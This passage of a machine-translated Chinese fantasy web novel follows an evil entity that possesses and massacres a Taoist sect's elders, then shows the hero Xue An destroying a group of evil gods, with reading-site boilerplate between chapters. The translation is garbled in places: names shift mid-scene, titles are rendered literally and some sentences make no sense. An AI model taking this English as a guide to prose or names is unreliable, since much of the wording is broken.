    It''s just that everyone at this time seemed a little embarrassed.


    Because several people were carrying a stretcher, lying on the stretcher was Lu Fei''s unconscious.


    At the same time, two people stood with Lu Xiuming, who was pale.


    "Looking at the Lord!" When Lu Qixian saw Lu Zhongxuan standing in front of the door, he immediately bowed his hands to salute.


    Lu Zhongxuan waved his hand and immediately stepped forward to check Lu Fei''s situation.


    After a while, his complexion became extremely ugly.


    "what happened?"


    The great sacrifice wine Lu Qixian sighed slightly, and then explained how to perform the task, how Lu Fei was injured by the evil thing that appeared unexpectedly, and so on.


    After listening, Lu Zhongxuan''s complexion became ashen.


    There is no other reason, but Lu Fei is too important.


    It can be said that he devoted all his efforts to this descendant, in order to let him shine in the Hundred Schools Conference, in order to invigorate the reputation of martial arts.


    But now this unexpected appearance has disrupted the entire plan.


    "Then what''s going on with him?" Lu Zhongxuan pointed to Lu Xiuming, the elder of the punishment.


    Before waiting for the wine to speak, Lu Xiuming said with a strong spirit: "Guardian, all this will blame the female emperor Xuantian of the Medicine Master Alliance, I was injured by her!"


    "Oh? Empress Xuantian? What''s going on?"


    Although Lu Xiuming was seriously injured, his words were not hindered, so he told the story again.


    Of course, when he talked about the robbing of the orb, he made an understatement, but focused on the "dominant" of the Nine Heavens Profound Girl.


    Not only that, he also secretly poked at what Lu Zhengqing had said in his words that he tried to make Lu Yangyan escape without regard to the "interests" of Taoism.


    After listening, Lu Zhongxuan frowned and his expression became extremely ugly.


    He really didn''t expect that so many things would happen in just one simple visit to Slash Demon.


    The female emperor Xuantian of the Pharmacist Alliance naturally knew that she was a powerful figure that even he dared not easily provoke.


    As for Lu Zhengqing''s matter, he didn''t care too much.


    Because he has his own opinions on Lu Zhengqing, he waved his hand.


    "Okay, don''t go any further, the top priority now is to heal the injuries on Non-Ang''s body as soon as possible! As for the rest, I''ll talk about it later!"


    Lu Xiuming had to shut his mouth and dared not say any more.


    "First carry him into the hall!"


    Soon, everyone carried Lu Fei''an into the hall.


    "Everyone goes out The evil spirit in him can only be temporarily suppressed by the breath left by Master Zhenwu. I will look for some of the medicinal pills that I left in the past, and it should have some effect!"


    "Yes!"


    Everyone then withdrew from the main hall and closed the door of the hall tightly.


    Lu Zhongxuan hurriedly searched for the pill, and everyone did not dare to leave, so they stood in front of the hall and waited.


    But they didn''t know that at the moment the temple door was closed, the idol on the shrine suddenly trembled, and then countless dark threads protruded from it and poured into Lu Fei''s body on the stretcher.


    In an instant, Lu Fei''s body was shocked, and then suddenly opened his eyes.


    A pair of eyes are as black as ink, where there is still the slightest human breath.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2436: The Secret of Zhenwu), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2437： Black Mancha

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    At the same time, outside the gate of this temple, many elders of the Zhenwu Dao faction also rushed there.


    After hearing what had happened, the elders stationed in their own faction couldn''t help but change their expressions.


    "Where is the master? Do you want to enter the hall now?" an elder asked.


    Someone shook his head and said, "Before the master left, let Fei''an be alone in the hall, and use the breath left by Emperor Zhenwu to suppress the evil spirits on his body. No one can enter without authorization! He will look for a cure for the evil. The pill of anger, it is estimated that I will be back soon!"


    He was talking, but seeing Lu Zhongxuan hurried back, holding a small medicine bottle in his hand, his face was full of excitement.


    "Are there any changes inside?"


    "Looking back, Lord Lord, I''m waiting here, and I haven''t heard anything unusual in it!"


    "it is good!"


    Lu Zhongxuan opened the door of the hall and walked into the hall.


    really.


    At this moment, Lu Fei''an was still lying quietly on the stretcher, without the slightest abnormality.


    Only then did Lu Zhongxuan relieved his heart and came to Lu Fei''s anger.


    "No, don''t worry, I have just found a pill that was left by Emperor Zhenwu when he was there, and it will definitely heal your wounds!"


    With that, Lu Zhongxuan pulled out the cork, poured out a knuckle-sized pill, and leaned over to feed Lu Feiyi to take it.


    But at this moment, Lu Fei''s eyes suddenly opened, and his jet-black eyes stared at Lu Zhongxuan.


    Lu Zhongxuan was shocked, but before he could react, countless strands of black thread stretched out of Lu Fei''s body, directly trapping Lu Zhongxuan in it.


    All of this happened extremely quickly, and these black threads pierced towards Lu Zhongxuan''s body almost instantly.


    But when he just touched the surface of his skin, it was shattered by the sudden golden light.


    Immediately after, Lu Zhongxuan snorted coldly, "Evil ghosts and ghosts, dare to be fools in front of the True Martial God Statue, and still not die?"


    As he said, he pinched the magic seal with his hand, and pressed directly at the center of Lu Fei''s eyebrows.


    Lu Fei looked like he was terrified and backed away again and again.


    I have to say that, as the leader of the Zhenwu faction, although Lu Zhongxuan can be mediocre, he still has nothing to do with these gloomy things.


    Especially now that these gloomy things are occupying his most important disciple, he is naturally even more annoyed, but on the surface he speaks softly.


    "If you don''t be annoyed, don''t be afraid, embrace Yuan Shouxin, and Master will remove the gloom in your body!"


    But as soon as the voice fell, his body suddenly shook, and then he turned his head and looked behind with an incredible expression on his face.


    I saw that the idol on the shrine had disappeared, replaced by an extremely evil evil creature with countless tentacles growing.


    And one of the tentacles stuck straight into his heart.


    "How...how could it be..."


    Lu Zhongxuan couldn''t believe his eyes. They were the idols left by Master Zhenwu. How could they be defiled by evil things?


    But the facts could not help him not believe it!


    The blood was dripping down the wound, and the black air quickly fell on his cheeks.


    Lu Zhongxuan opened his mouth and wanted to scream, and wanted to inform the people outside of the situation in the hall.


    But as soon as he opened his mouth, Lu Fei''an, who had dodged far away, suddenly rushed to the front, then hugged his head and bit on his neck with one bite.


    Lu Zhongxuan''s body was shocked, and countless black blood poured out from his mouth that was originally wide open, and it finally condensed into a mancha flower.


    When the black Camellia flower slowly bloomed, Lu Zhongxuan''s eyes quickly dimmed, and then he stopped shaking and closed his eyes.


    Lu Fei stopped biting, let go of his mouth and stepped back, as if waiting for something.


    Suddenly.


    Seeing this Lu Zhongxuan suddenly opened his eyes, his eyes were also pitch black like ink, exuding extremely evil and terrifying light.


    Seeing this, Lu Fei''an immediately knelt to the ground and shouted in a slurred but extremely respectful voice.


    "Subordinates...I have seen the superior!"


    Lu Zhongxuan lowered his head and glanced at this Lu Fei, his mouth grinned open, revealing his mouth full of sharp fangs.


    "Yes, you did a good job!" The voice was cold and evil, like a magic sound from hell.


    This Lu Feihu didn''t even dare to lift his head, and said tremblingly, "Thank you for your praise!"


    At this time, Lu Zhongxuan''s figure slowly floated, and a face appeared on the back of his head.


    This face looked at the idol and sneered a few times.


    "It was a big fate for your body to run away, but the disciples and grandchildren you left behind will never be able to run away this time!"


    Following the voice, the **** statue collapsed silently, and the black energy contained in it poured into Lu Zhongxuan''s body, causing his already violent power to soar again.


    The wound left by Lu Fei''s bite on his neck also recovered after a while of peristalsis.


    Then Lu Zhongxuan slowly fell to the ground, his breath quickly converged, and the black in his eyes also faded in an instant.


    "Call in all those people outside. Today, none of the true martial arts sect can run away, and they will all become my subordinates!"


    "Yes!"


    Lu Fei turned around when he heard that he was about to go out.


    Lu Zhongxuan suddenly stopped him again, "Wait a minute!"


    "What else do you have to order?"


    "My current strength has not fully recovered. If I come in together, I am afraid there will be mistakes. Let them come in one by one!"


    "understand!"


    Before Lu Fei came to the gate of the palace, after a few breaths, the whole person''s state also returned to normal.


    Then opened the door of the temple and walked out.


    As soon as he appeared, it immediately caused a shock in the audience.


    The members of the Zhenwu Dao Sect who were waiting anxiously outside the temple were all shocked.


    "No, you are awake?" Lu Xiuming, who was injured but kept waiting outside, refused to leave, was ecstatic when he saw this.


    The rest of the elders all rushed forward.


    "No, why did you wake up so quickly?"


    "Yes! I was so worried about us before!"


    "It''s better to watch the master with superb methods, and he wakes up Fei Anang as soon as he takes it!"


    Facing this torrent of words, Lu Fei smiled and nodded frequently.


    Only Lu Zhengqing looked at Lu Fei''s anger, frowning his brows imperceptibly, as if he had noticed something.


    "There are many people who are worried. UU reading was just getting into the body by the evil spirit before. With the help of the power of real martial arts and the master''s pill, it is no problem!"


    L�� Xiuming, who got to the front, was excited when he heard the words, "That would be great, great!"


    The big festival wine also stroked his beard and beard, with a smile on his face.


    At this moment, Lu Fei smiled at him slightly, "Master Jiu, just now Master Master ordered you to go in, saying that there is something important to discuss with you!"


    "Oh?" Lu Qixian was startled.


    Do you have something important to discuss with yourself?


    Naturally, he dared not delay, and immediately nodded.


    "Okay, then I will go in and see the Lord now!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2437 Black Mancha), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2438： Evil infestation

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    The rest of the people waited outside and asked about how Lu Fei''s woke up. During the whole process, no one cared about the great sacrifice wine just entered.


    After all, in the eyes of everyone, isn''t it a normal thing for the master to discuss something with the wine for the big sacrifice?


    Only Lu Zhengqing was surprised and suspicious, his eyes drifting into the hall from time to time, as if thinking about something.


    At this moment, Lu Fei walked up with a smile, "Elder Zhengqing, what are you looking at?"


    "It''s nothing, I just feel a little in a trance. It may be because of the exhaustion of the recent period!"


    Lu Zhengqing quickly condensed the look of surprise in the depths of his eyes, and said with a smile.


    "Oh? Really? Then, Elder Zhengqing, you need to rest a lot. Fortunately, things are over now, and nothing will be done today!"


    While talking, Lu Fei''s step forward diligently, as if to look at Lu Zhengqing''s body.


    Lu Zhengqing took a step back with an unmoving expression, "I''m worried about it. I think so too. After more rest, it''s okay!"


    Lu Fei''s still wanted to say something more, at this moment, Lu Xiuming came over.


    He was very uneasy about Lu Fei''s attitude toward Lu Zhengqing just now, so he said in a deep voice after coming over.


    "No, since they don''t want to contact us, just say a few words less!"


    As he said, he grabbed Lu Fei''s hand and walked aside.


    Lu Fei was stunned, and a murderous intent appeared in the depths of his eyes, but the murderous intent disappeared very quickly, and then he nodded slightly at Lu Zhengqing.


    "Then I''ll retire first if I''m not angry!"


    With that, the two of them left.


    But Lu Zhengqing''s heart has set off a stormy sea.


    Because other people may not see clearly just now, but he could see clearly.


    Especially when Lu Xiuming grabbed Lu Fei''s hand, the murderous intent in his eyes was even more clear.


    what happened?


    Why does Lu Fei''s feel weird after waking up?


    What''s the matter with that obliterating intent?


    Isn''t his relationship with Lu Xiuming the best?


    These questions came to his mind, but what puzzled him most was Lu Fei''s attitude towards him.


    You must know that your status in this true martial arts school is not high, and you can even be regarded as a character who is marginalized.


    Had it not been for the current view master Lu Zhongxuan to take him seriously, no one might have noticed him at all.


    Lv Fei''an before was the proud son of heaven. Although he maintained the apparent respect for himself, he had never been as diligent as he is today.


    What is going on with all this?


    Lu Zhengqing faintly felt that all the strange things seemed to point in one direction, but he couldn''t grasp it.


    At this moment, the door of the main hall was pushed open again, and then the great sacrifice wine Lu Qixian walked out of it with a face full of spring breeze.


    "The subject has orders, call all the elders into the hall to discuss important matters!"


    "Yes!"


    The elders did not suspect that he was there, and they bowed their heads and said yes, and then stepped into the hall.


    Only Lu Zhengqing hesitated at the end.


    Although there is still the familiar hall in front of him, there is a voice in his heart telling him not to go in! Otherwise, there is no doubt that he will die!


    At this moment, I saw the great sacrifice wine Lu Qixian turning his head to look at him.


    "What''s the matter, Elder Zhengqing? The subject has orders, why don''t you hurry in?"


    Lu Zhengqing trembled all over, Xuanyi bowed his head deeply, and responded in a low voice: "Yes!"


    Lu Qixian nodded, no doubt that he was there, turned around and went into the hall.


    But he did not notice that at this moment, Lu Zhengqing''s eyes were full of infinite horror.


    Because just now when Lu Qixian called him, he revealed a major omission.


    That is, although Lu Qixian beforehand would call himself Zhengqing, he would never add the word elder at the back.


    Combined with the unusual performance of Lu Fei''s today, all this shocked his heart.


    what happened?


    What is in this hall? Even make yourself so frightened?


    Seeing that the door of the main hall was getting closer, the panic in Lu Zhengqing''s heart almost overflowed.


    At the same time, an elder beside him couldn''t help but ask: "Zhengqing, what happened to you today? Why is your complexion so bad? Are you sick?"


    Although they have rarely got sick with their cultivation base, once they get sick, they will be extremely dangerous, and it may even be a life-threatening catastrophe.


    This is also an inevitable catastrophe on the path of spiritual practice.


    Lu Zhengqing''s heart moved, and then he nodded weakly.


    "Well, I do feel very uncomfortable, or I won''t go in, just wait outside for a while!"


    The elder asked with great concern: "Should I send you back first?"


    "That''s fine too!"


    The two turned around and were about to leave.


    But at this moment, a huge shock suddenly came from the hall behind him.


    This shaking made the entire Funiu Mountain tremble.


    "Gosh, what''s that?" someone behind him hissed in exclamation.


    Lu Zhengqing looked back abruptly, and then saw a shocking scene.


    But seeing that the entire hall had collapsed, and on top of it there appeared an evil creature whose entire body was entangled with black silk threads.


    This evil object is huge, standing in the air, seeming to be looking at everyone with playful eyes.


    Lu Zhengqing''s heart shook wildly, and almost subconsciously ducked to the side.


    A strand of black silk just passed through where he was just standing.


    But others have no such good luck.


    Just listening to the muffled sound of a puff, the black thread appeared from all angles, and then penetrated the body of everyone present.


    The elder who had just spoken to Lu Zhengqing and kindly sent him back was also tragically killed. A thread of silk directly penetrated his chest and was dragged into the air.


    In an instant, these elders all became prey on the silk thread, suspended in the air, with painful expressions on their faces.


    But no one made even a single sound, because just when they opened their mouths, black blood poured out wildly and quickly condensed into black mancha flowers.


    Lu Zhengqing felt that his scalp was numb, and his whole body was erected.


    Because the scene in front of me is really horrible, the evil being standing in the center is like a **** tree, and these elders are the fruits of its branches.


    At this moment, I saw this evil creature slowly turning its head and looking at Lu Zhengqing, then the black energy on the head gradually dissipated, revealing a familiar and strange face.


    "How about it, isn''t it beautiful?"


    boom!


    Lu Zhengqing only felt that all the blood rushed to his head instantly, UU reading let out an exclamation.


    "Watch the Lord!"


    Then a heart completely sank to the bottom.


    Although there had been speculations earlier, after seeing Lu Zhongxuan''s face, he still felt the supreme grief.


    It is true that Lu Zhongxuan, as the observer of this term, is very mediocre and incompetent, but he is at least good to himself, and he is also trying his best to do everything that a observer should do.


    But now, he was harmed by evil things, how could this not make Lu Zhengqing suffer.


    "Hahahaha Lu Zhengqing, your watcher is dead, now I am your master! Your alertness is very high, if you just wanted to run away, I wouldn��t be so anxious to show my main body, and now kneel Surrender, I can grant you eternal life!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2438 Evil Infestation), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2439： Flame of Zhenwu

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    "Eternal life..." Lu Zhengqing muttered in a low voice, his eyes full of unspeakable complexity.


    "Yes, as long as you surrender to me, I can grant you endless life and Xuanhe''s power!" The evil thing said in an extremely seductive tone.


    Lu Zhengqing suddenly chuckled, then slowly raised his eyes to look at this evil creature.


    "No need to say more, as the descendant of Emperor Zhenwu, how can I bow my head to evil things like you?"


    This evil creature didn''t expect that Lu Zhengqing would actually refuse it, and was startled involuntarily.


    But soon he uttered an extremely harsh laugh.


    "Emperor Zhenwu? Hahaha, your gods have already become food for me, so what qualifications do you have to call yourself the emperor?"


    As soon as this statement came out, Lu Zhengqing was shocked and looked at this evil creature in disbelief.


    "what did you say?"


    "You don''t know it yet. I swallowed up the gods you worshipped sincerely back then, so you should surrender to me at this moment, because I am your new god!"


    With the voice, the appearance of this evil creature suddenly began to change, and in the blink of an eye, it turned into a real martial artist.


    I saw him standing proudly in the air, majestic, and infinitely awe-inspiring.


    The most important thing is that when he became a real martial artist, there was no evil in his body, instead he was full of supreme majesty.


    Seeing this scene, Lu Zhengqing''s eyes instantly condensed to the size of a pinpoint, and his complexion became extremely pale.


    What could be more sad than hearing that the gods that oneself worshipped have died?


    "The old **** is dead, now kneel down, and I will be your new master!" the evil creature said viciously.


    The people who had been dragged into the sky by the black silk thread landed one after another, and then worshipped this evil creature with frenzied faces.


    Only Lu Zhengqing stood in it, unmoved.


    "Why don''t you kneel down?" The evil creature lowered its head and looked down at Lu Zhengqing, and asked in an extremely majestic manner.


    At this time, Lu Zhengqing''s expression had returned to normal, and the paleness on his face had gradually faded, replaced by infinite perseverance and determination.


    I saw him slowly raising his head, and his whole body began to boil with the majestic power of real martial arts.


    "On my knee, I have always kneeled only on the righteousness of heaven, and only on my patriarch. As for Yu''er and so on..."


    Lu Zhengqing took a deep breath, his eyes gleaming like a diamond.


    "Evil things are evil things, even if they pretend to be the appearance of the great emperor, they are still evil things! So today, I, Lu Zhengqing, will kill demons and exterminate demons, and help heaven!


    With the last burst of shout, Lu Zhengqing pinched the magic seal with his hand, and came straight to this evil creature with a forward-looking posture.


    The evil thing sneered, "It''s really looking for death, if that''s the case, then I will do it for you!"


    When the words were over, countless black threads appeared in an instant and woven into a large net, rushing towards Lu Zhengqing with his head and face covered.


    Although Lu Zhengqing had the heart to die, he knew that if he was covered by this big net, he would have no reason to survive, and that death would be too unjustified.


    Therefore, he dodged in the inconvenient time, abruptly avoiding this big net, and then rounded around and killed the evil creature again.


    The evil thing snorted coldly, and the evil light flashed in his eyes.


    Lu Zhengqing, who was running wildly, suddenly noticed a great sense of crisis, and this feeling made him stop suddenly.


    That is to say, at the same moment, the ground in front of Lu Zhengqing suddenly collapsed silently into a big hole without a bottom.


    Immediately afterwards, countless strands of black threads were shot out of the big hole.


    Although Lu Zhengqing evaded in time, there were still a few strands of thread passing through the soles of his feet.


    After a few puffs, the silk thread passed through, bringing out a blood line.


    Lu Zhengqing snorted, his face looked painful.


    But his reaction was not untimely, almost at the same moment when the sole of the foot was injured, his fingers pinched at a very fast speed, pinching out a powerful driving magic seal, and then he pushed into the big hole in front.


    boom!


    The golden light entered directly, and then a violent explosion exploded in this big hole.


    The black silk thread that was swaying wantonly disappeared.


    It has to be said that the fighting power that Lu Zhengqing exploded at this moment is enough to make people eye-catching.


    But at this moment, a figure appeared silently behind him, and then pressed it down with a palm.


    Bang!


    Unprepared, Lu Zhengqing was shocked and flew out. After he landed, his facial features had already burst into red blood, and he was obviously severely injured.


    It was only then that he could see clearly who was behind the attack on him.


    It was Lu Xiuming who had been at odds with him before.


    At this moment, he has a hideous and terrifying face, his eyes are as dark as ink, and a thick evil spirit is exuding all over his body. It makes people feel chills just by looking at him.


    "Hahahaha, Lu Zhengqing, how does it feel to be together? Don''t worry, he will kill you soon!" The evil creature laughed loudly.


    Lu Zhengqing''s complexion became extremely ugly. Although his relationship with this Lu Xiuming was very bad, he still felt very uncomfortable watching such a vigorous fellow Taoist now look like this.


    "Elder Xiuming, are you controlled by this evil thing?" Lu Zhengqing shouted, trying to awaken Lu Xiuming''s mind.


    But as soon as his words fell, Lu Xiuming rushed forward like a hungry wolf.


    After being infiltrated by evil spirits, this Lu Xiuming''s strength has also increased greatly, and just a simple attack is full of terrifying coercion.


    Lu Zhengqing stepped aside, barely avoiding the blow.


    But in the next instant, he was blasted out again by Lu Xiuming.


    With a plop, he staggered to the ground, coughing violently and spitting out a few mouthfuls of blood, his eyes dimmed.


    At this moment, Lu Xiuming rushed forward again, opened his blood basin and slammed at Lu Zhengqing''s neck, biting him viciously.


    But at this moment, Lu Zhengqing''s eyes suddenly burst into bright brilliant light, and at the same time, the blood in his whole body also completely boiled.


    Facing the flaming power of Lu Zhengqing, a look of surprise appeared on Lu Xiuming''s face, and then he wanted to step back.


    But as soon as he withdrew half a step, Lu Zhengqing hugged his legs.


    "Roar!" Lu Xiuming opened his mouth, UU reading www. Uukanshu.com uttered a painful roar.


    Because at this moment, a blazing flame rose from the two of them.


    Flame of Zhenwu!


    This is the flame of true martial arts that Lu Zhengqing burns out of his own energy and blood, and it has a strong deterrent effect on all evil spirits.


    Lv Xiuming struggled frantically, trying to break away from Lv Zhengqing''s shackles.


    But all his efforts were in vain in front of Lu Zhengqing, who had already put his life and death aside.


    I saw him clinging to Lu Xiuming''s legs, his eyes flashed with determination and relief.


    Because he saw that Lu Xiuming''s face and body were melting like candles under the scorching flame of Zhenwu.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2439 Zhenwu Flame), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2440： Taoism collapsed

    "Invincible, start from Xianzun Dad ( to find the latest chapter!


    Although this evil thing cannot be destroyed, it is good to be able to destroy an accomplice!


    Lu Zhengqing held this thought in his heart, and then his entire spiritual consciousness swept away into the deepest darkness.


    In a daze, he seemed to hear the furious roar of the evil creature.


    This made the smile at the corner of his mouth thicker.


    Master Zhenwu, disciple...I didn''t shame you!


    When his consciousness completely dissipated, a dazzling brilliance rose from his body, and then there was a loud noise.


    boom!


    The shock wave almost swept the entire Funiu Mountain, and dozens of the nearest Zhenwu children were directly killed by the shock wave.


    Among them are many Zhenwu elders who have been controlled by evil things.


    Even this evil creature was so ashamed by the unexpected explosion that he roared again and again in frustration.


    "Asshole, asshole, dare to ruin my big plan, it''s a crime!"


    But even if he was full of anger, there was nowhere to go.


    Because at this moment, Lu Zhengqing was already dead, and even the last trace of blood was turned into the explosion just now.


    At this moment, Lu Fei''an suddenly rushed to the center of the explosion, crouched down and probed carefully.


    After a while, he said in shock: "Your Excellency, this man is not dead yet!"


    really.


    Right at the center of the explosion, a scorched corpse was lying.


    At this moment, the scorched corpse actually slowly squirmed, and there was a trace of evil infiltrating it.


    "Oh?" This evil creature was also a little surprised.


    He had witnessed the big explosion just now. Even if the vitality of the monk who had the evil spirits in his body was relatively tenacious, it was completely impossible to survive this degree of explosion.


    Therefore, he suspiciously found a strand of black thread and inserted it into the charcoal-like corpse.


    After a while, he gave a faint sound.


    "Hey, he really didn''t die! Not only did he not die, he seemed to be trying to resurrect!"


    This evil creature couldn''t help but sighed a few words, and then instilled the majestic evil spirit through this thread.


    In an instant, under the instillation of this abundant evil spirit, the charred corpse quickly faded away from the outer layer of charred skin and began to recover.


    After a few breaths, Lu Xiuming reappeared in front of everyone.


    "This guy is really fate!" The evil creature sneered, and then withdrew the thread and ignored it.


    After all, it was just an ordinary little pawn, and it was not worthy of his attention at all.


    Lu Fei''an shrugged when he saw this, turned and left.


    But neither he nor this evil creature noticed a faint flash of coldness in the depths of Lu Xiuming''s eyes full of evil.


    But the ray of light was fleeting, and then Lu Xiuming returned to normal, lowered his head and returned to the crowd.


    This turmoil subsided in this way.


    Lu Zhengqing died, and the entire Zhenwu Dao faction fell completely.


    This evil creature looked down at the people kneeling all over the floor and gave a slight sneer.


    "From now on, I will be your watcher Lu Zhongxuan. I can''t show the slightest strangeness in front of outsiders, do you remember?"


    "Yes!"


    These people bowed their heads and said yes.


    The evil creature nodded in satisfaction, and then waved.


    The evil spirits on these people quickly disappeared, including the eyes, and then returned to normal.


    At the same time, countless black silk threads stretched out from the evil thing, penetrated into this collapsed hall, and rebuilt it at an extremely fast speed.


    After the rumbling sound, the main hall reappeared in front of everyone, and even the statue of Zhenwu God inside was restored to its original state.


    After finishing all this, the evil creature examined it again, and then nodded in satisfaction.


    "Very well, all traces have been covered up, even if someone comes to investigate, they won''t find any clues!"


    "The true martial arts faction has been completely infested, it''s not annoying!"


    "The disciple is here!"


    "You are in charge of big and small affairs here, I want to report this to the upper level as soon as possible!"


    "Yes!"


    Lu Zhongxuan turned and left, and the entire Zhenwu Dao Sect returned to normal.


    Everyone dispersed, everything was the same as usual.


    Just as the evil thing said, even if someone who is familiar with the true martial arts came to investigate, they would not notice any abnormality.


    And in the pharmacist alliance at the same time, when Lu Zhengqing and Lu Xiuming died together, Lu Yangyan, who was sitting on the bedside quietly waiting for his sister to wake up, frowned suddenly, then turned his head and looked out the window.


    "What''s the matter?" Cha Wenliang couldn''t help but ask softly, seeing his face very ugly.


    Lu Yangyan was full of doubts and shook his head lightly.


    "I don''t know what''s going on, it''s just that my heart jumped suddenly just now, as if something important had left me!"


    "Oh? What about now?"


    "Now that feeling has disappeared again!" Lu Yangyan said thoughtfully.


    "It may be that you are too tired to have an illusion! Now that your sister''s situation is under control, you don''t need to stay here anymore, go take a rest!" Cha said softly.


    Although Lu Yangyan was puzzled, he finally nodded, "Maybe it is really too tired, then I will go take a rest!"


    With that, he walked out of the room and returned to his house.


    But after really lying on the bed, he couldn''t sleep anymore.


    He can be sure that the feeling of loss just now is definitely not an illusion.


    But the question is, why did it suddenly disappear from behind?


    Could it be... what happened to Master?


    This thought made him startled, Huo Ran sat up, but quickly lay down again.


    What if it is?


    Could he still go to Funiu Mountain to find out?


    You must know that now he can''t even keep his sister, let alone Funiu Mountain, which is thousands of miles away.


    In desperation, he could only sigh faintly and whispered in a low voice.


    "Master, I wish you peace and safety!"


    For Lu Zhengqing, Lu Yangyan was full of resentment at the beginning, thinking that he was too cowardly, and even let himself and his sister live on the street.


    But after so many years of ups and downs, he has understood Master''s difficulties, and the grievances have long since disappeared.


    What happened last night is even more vivid. Lu Zhengqing took the risk to report the letter, which is enough to show that he really took himself as an apprentice.


    It''s a pity that this is the case in the world, and it often fails.


    So at this moment, he can only pray silently in his heart. UU Reading www.uuk��nshu.com


    And it was at this moment, in the extremely chaotic and evil star cluster somewhere in the outer sky.


    A man in black received a report from the evil creature who turned into Lu Zhongxuan.


    After reading it, he nodded in satisfaction.


    "Very well, there is another Taoist school that has been infested. It seems that this Hundred Schools Conference is pretty sure!"


    Following the voice, the black-clothed man sitting on the high chair slowly stood up.


    At this moment, the faint starlight outside the window finally illuminates his appearance.


    It was the man in black who tempted Long Zhan to take advantage of Xue An in the Zuisheng Building in Linglong City.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2440 Dao faction collapsed), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2441： Old ruler

    And when Xue An destroyed the Killing Hell with one blow and walked out of it, the spectators in the surrounding stands screamed again and again and began to flee frantically.


    These audiences are diverse, not only humans, but also demons, gods, ghosts and other ethnic groups.


    Xue An is not talking nonsense, raising his hand is a sword.


    puff!


    The sword light swept past like a horse, and countless heads landed instantly.


    But Xue An''s goal was not these spectators in the stands. He flashed his figure and went straight to the boxes behind the stands.


    As Xue An said, this is indeed a game.


    It''s just that the people in the game have to pay the price of their lives.


    Those who watch the game enjoy it.


    Especially the big men in the box.


    In fact, since Xue An appeared in Killing Hell, someone has noticed him.


    Said it is a human, in fact, it should be called a monster.


    Because it has no body, it has only one huge eye, and the eyes are full of tentacles.


    I saw its eyes staring at Xue An and An Yan in the picture, waving its tentacles, and making a harsh and unpleasant whistling sound.


    "I like this woman, quack! After this hunt is over, I will ask her to offer sacrifices to me!"


    The others in the box disagree.


    Because as far as these abyss evil gods are concerned, a human woman can''t really interest them.


    But the subsequent development greatly exceeded their expectations.


    First, Fu Lanqing, who was supported by the evil god, died, and then Xue An began to bombard and kill hell.


    Every click makes the cube tremble.


    Seeing this scene, this strange eye evil **** became angry.


    "The humble humans dare to destroy our game! I will make him pay!"


    Having said that, it sent a clone into the killing **** to try to obliterate Xue An.


    But just a moment later, its clone was shattered, and then Xue An blasted through the killing **** and came to the outside world.


    Now even these evil gods couldn''t help being frightened.


    "What''s the matter? Why is this human race so tyrannical?"


    But before they could find the answer, Xue An had already killed him.


    Bang!


    The box was directly smashed by Xue An, and then appeared in the court.


    Xue Ansen smiled when he saw this evil **** full of seats.


    "Sure enough, you are the old dominators!"


    That''s right!


    This group of evil gods once ruled the heavens in ancient times, but due to unknowable reasons, these evil gods quickly declined and were finally sealed in this abyss.


    But this does not mean that they are not strong.


    On the contrary, the Cthulhu that can survive to this day has extremely terrifying strength.


    Even a weaker person will collapse and die just by looking at them.


    After seeing Xue An, these evil gods did not speak any nonsense, and directly launched an attack.


    Around Xue An''s body, the space instantly became like a swamp, exuding an unpleasant stench.


    The filthy blood is constantly eroding Xue An''s body.


    And crazy drums also resounded through the box at the same time.


    This is completely different from the attack method of the current cultivation system of the heavens, and cannot be inferred by common sense at all.


    If it was someone else, even if he was a strong immortal king, he would have to retreat from the attack of these evil gods.


    But Xue An didn''t even move, just smiled coldly.


    "It''s really weird that I hide behind my back and don''t show up, but want to win against me with these maggots. Are you here to be funny?"


    After all, a boundless flame suddenly rose in Xue An''s eyes.


    The red lotus karmic fire spewed out, instantly broke through the chaotic swamp around it, extinguished the drums, and then went straight to these evil gods.


    "Shenhuo outside the sky! No!"


    When these evil gods saw the red lotus karma fire, they couldn''t help screaming, and then fled in all directions.


    But no one can escape Xue An''s blow.


    boom!


    The first person to be covered by flames was the strange-eyed evil **** who uttered maddening before.


    I saw it struggling and screaming frantically, but in the next second, it was cremated into fly ash by karma.


    Immediately after these evil gods were like torches, they were instantly burned to ashes.


    In an instant, the Cthulhu was wiped out.


    Xue An stood there for a while, and finally raised an eyebrow.


    "It seems that you are determined not to come out? Well, then I will dig three feet in the ground and dig you out!"


    After all, Xue An turned and left.


    at the same time.


    Jane Zaixin and others have also flown out of the killing hell, and then they are stunned by the scene in front of them.


    But seeing dead bodies everywhere in the stands, blood flowed.


    "This...what''s going on?" Someone whispered in shock.


    "It''s very simple, these are the spectators of this game, so they are all dead!" With the voice, Xue An''s figure flashed and appeared in front of everyone.


    It is still the image of the fluttering young man in white clothes, but no one dares to look down upon him at the moment.


    After all, this is the existence that will blast through the killing hell!


    "Now things are done here, and your memories should be restored, so let''s go away separately!" Xue An said lightly.


    These people looked at each other, and then all of them were excited, and they all bowed to Xue Anshen.


    "Thank you, sir!"


    After talking about it, they just dispersed.


    But when a strong man got in the crowd and tried to sneak away.


    Xue An whispered: "Why, does the second hall master of Shenwu Hall plan to leave like this?"


    As soon as the words came out, the brawny man turned his head stiffly and grinned at Xue An.


    "Big... do you have any more orders?"


    Xue An smiled coldly, "I think, should you give an explanation for what you have done before?"


